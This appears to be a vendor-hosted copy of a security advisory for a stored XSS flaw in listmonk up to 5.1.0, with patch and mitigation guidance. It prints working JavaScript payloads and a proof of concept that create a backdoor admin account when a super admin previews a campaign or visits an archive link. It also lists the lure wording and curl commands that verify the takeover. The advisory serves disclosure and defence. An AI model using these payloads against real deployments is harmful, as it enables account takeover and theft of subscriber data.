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GHSA-jmr4-p576-v565

listmonk Vulnerable to Stored XSS Leading to Admin Account Takeover

Also known asCVE-2026-21483GO-2026-4277
Published
Jan 2, 2026
Updated
Feb 3, 2026
Affected
2 pkgs
Patched
2 / 2
Exploits
None indexed

EPSS Exploitation Probability

via FIRST.org ↗
0.2%probability of exploitation in next 30 days
Lower Risk10th percentile+0.19%
0.00%0.23%0.47%0.70%0.0%0.2%Feb 26May 26Jun 26

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

Blast Radius

2 pkgs affected
🐹github.com/knadh/listmonk🐹github.com/knadh/listmonk

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.

Description

Security Advisory: Stored XSS Leading to Admin Account Takeover

Affected Versions: ≤ 5.1.0
Vulnerability Type: CWE-79: Stored Cross-Site Scripting


Summary

A lower-privileged user with campaign management permissions can inject malicious JavaScript into campaigns or templates. When a higher-privileged user (Super Admin) views or previews this content, the XSS executes in their browser context, allowing the attacker to perform privileged actions such as creating backdoor admin accounts.

The attack can be weaponized via the public archive feature, where victims simply need to visit a link - no preview click required.


Required Attacker Permissions

campaigns:manage    - Create/edit campaigns
campaigns:get       - View campaigns  
lists:get_all       - Access lists
templates:get       - Access templates

Note: These are common permissions for content managers who are not full admins.


Attack Vectors

Vector 1: Raw HTML (Direct Script Tag)

<script>
fetch('/api/users', {
  method: 'POST',
  headers: {'Content-Type': 'application/json'},
  credentials: 'include',
  body: '{"username":"backdoor","email":"[email protected]","name":"Backdoor","password":"Hacked123","type":"user","status":"enabled","userRoleId":1,"user_role_id":1}'
});
</script>

Vector 2: Go Template Safe Function

{{ `<script>fetch('/api/users',{method:'POST',headers:{'Content-Type':'application/json'},credentials:'include',body:'{"username":"backdoor","email":"[email protected]","name":"Backdoor","password":"Hacked123","type":"user","status":"enabled","userRoleId":1,"user_role_id":1}'});</script>` | Safe }}

Attack Scenarios

Scenario 1: Campaign Preview Attack

  1. Attacker creates campaign with XSS payload
  2. Request is made to super admin: "Please review my newsletter draft"
  3. Super admin opens campaign and clicks Preview
  4. XSS executes → Backdoor admin account created
  5. Attacker logs in with backdoor / Hacked123

Scenario 2: Archive Link Attack (No Click Required)

  1. Attacker creates campaign with XSS payload
  2. Attacker enables Archive for the campaign
  3. Attacker shares archive link: http://localhost:9000/archive/{uuid}
  4. Super admin visits the link (no preview click needed!)
  5. XSS executes automatically → Account takeover

Proof of Concept

Step 1: Create Malicious Campaign

As lower-privileged user, create campaign with body:

<script>
fetch('/api/users', {
  method: 'POST',
  headers: {'Content-Type': 'application/json'},
  credentials: 'include',
  body: JSON.stringify({
    username: 'backdoor',
    email: '[email protected]', 
    name: 'Backdoor Admin',
    password: 'Hacked123',
    type: 'user',
    status: 'enabled',
    userRoleId: 1,
    user_role_id: 1
  })
});
</script>

Step 2: Enable Archive (Optional - for link-based attack)

  1. Edit campaign settings
  2. Enable "Archive"
  3. Copy archive URL: http://localhost:9000/archive/{campaign-uuid}

Step 3: Trigger Execution

Option A - Preview:

  • Send campaign to super admin for "review"
  • Super admin previews → XSS fires

Option B - Archive Link:

  • Share archive URL with super admin
  • Super admin visits link → XSS fires automatically

Step 4: Verify Takeover

# Login as backdoor admin
curl -X POST "http://localhost:9000/admin/login" \
  -d "username=backdoor&password=Hacked123" \
  -c cookies.txt -L

# Verify super admin access
curl -b cookies.txt "http://localhost:9000/api/users"

Evidence Screenshots

[Screenshot 1: Lower-privileged user creating malicious campaign]

<img width="1892" height="781" alt="Screenshot 2025-12-27 170259" src="https://github.com/user-attachments/assets/b9af26bf-0c5b-4667-ba9a-eea774156d0b" />

[Screenshot 2: Super admin previewing campaign]

<img width="1686" height="709" alt="image" src="https://github.com/user-attachments/assets/4ca3d5ff-0cd9-4f22-bca0-e26e13c6b1c7" />

[Screenshot 3: Backdoor user successfully created]

<img width="1370" height="469" alt="Screenshot 2025-12-27 170413" src="https://github.com/user-attachments/assets/18135128-f5af-4023-9aa7-8662a1405ed2" />

Impact

ActionPossible via XSS
Create backdoor admin✅ Yes
Export all subscribers✅ Yes
Modify SMTP settings✅ Yes
Delete all campaigns✅ Yes
Access API keys/secrets✅ Yes

Affected Components

ComponentXSS Works?Method
Campaign body (Raw HTML)✅ YesDirect <script> tag
Campaign body (Template)✅ Yes{{ \ ` | Safe }}`
Template body✅ YesBoth methods
Campaign archive✅ YesAutomatic execution on visit

Affected Packages

2 total 2 fixed
EcosystemPackageVulnerable rangeFix
🐹Gogithub.com/knadh/listmonk1.1.1&&< 6.0.06.0.0
🐹Gogithub.com/knadh/listmonkall versions1.1.1-0.20251231125615-74dc5a01cfbb

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/knadh/listmonk. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Fix

    Update github.com/knadh/listmonk to 6.0.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-jmr4-p576-v565 is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-jmr4-p576-v565 is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-jmr4-p576-v565. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

## Security Advisory: Stored XSS Leading to Admin Account Takeover **Affected Versions:** ≤ 5.1.0 **Vulnerability Type:** CWE-79: Stored Cross-Site Scripting --- ## Summary A lower-privileged user with campaign management permissions can inject malicious JavaScript into campaigns or templates. When a higher-privileged user (Super Admin) views or previews this content, the XSS executes in their browser context, allowing the attacker to perform privileged actions such as creating backdoor admin accounts. The attack can be weaponized via the **public archive feature**, where victims simp
O3 Security · Impact-Aware SCA

Is GHSA-jmr4-p576-v565 in your dependencies?

O3 detects GHSA-jmr4-p576-v565 across Go dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.

GHSA-jmr4-p576-v565: listmonk Malicious Code / Backdoor | O3 Security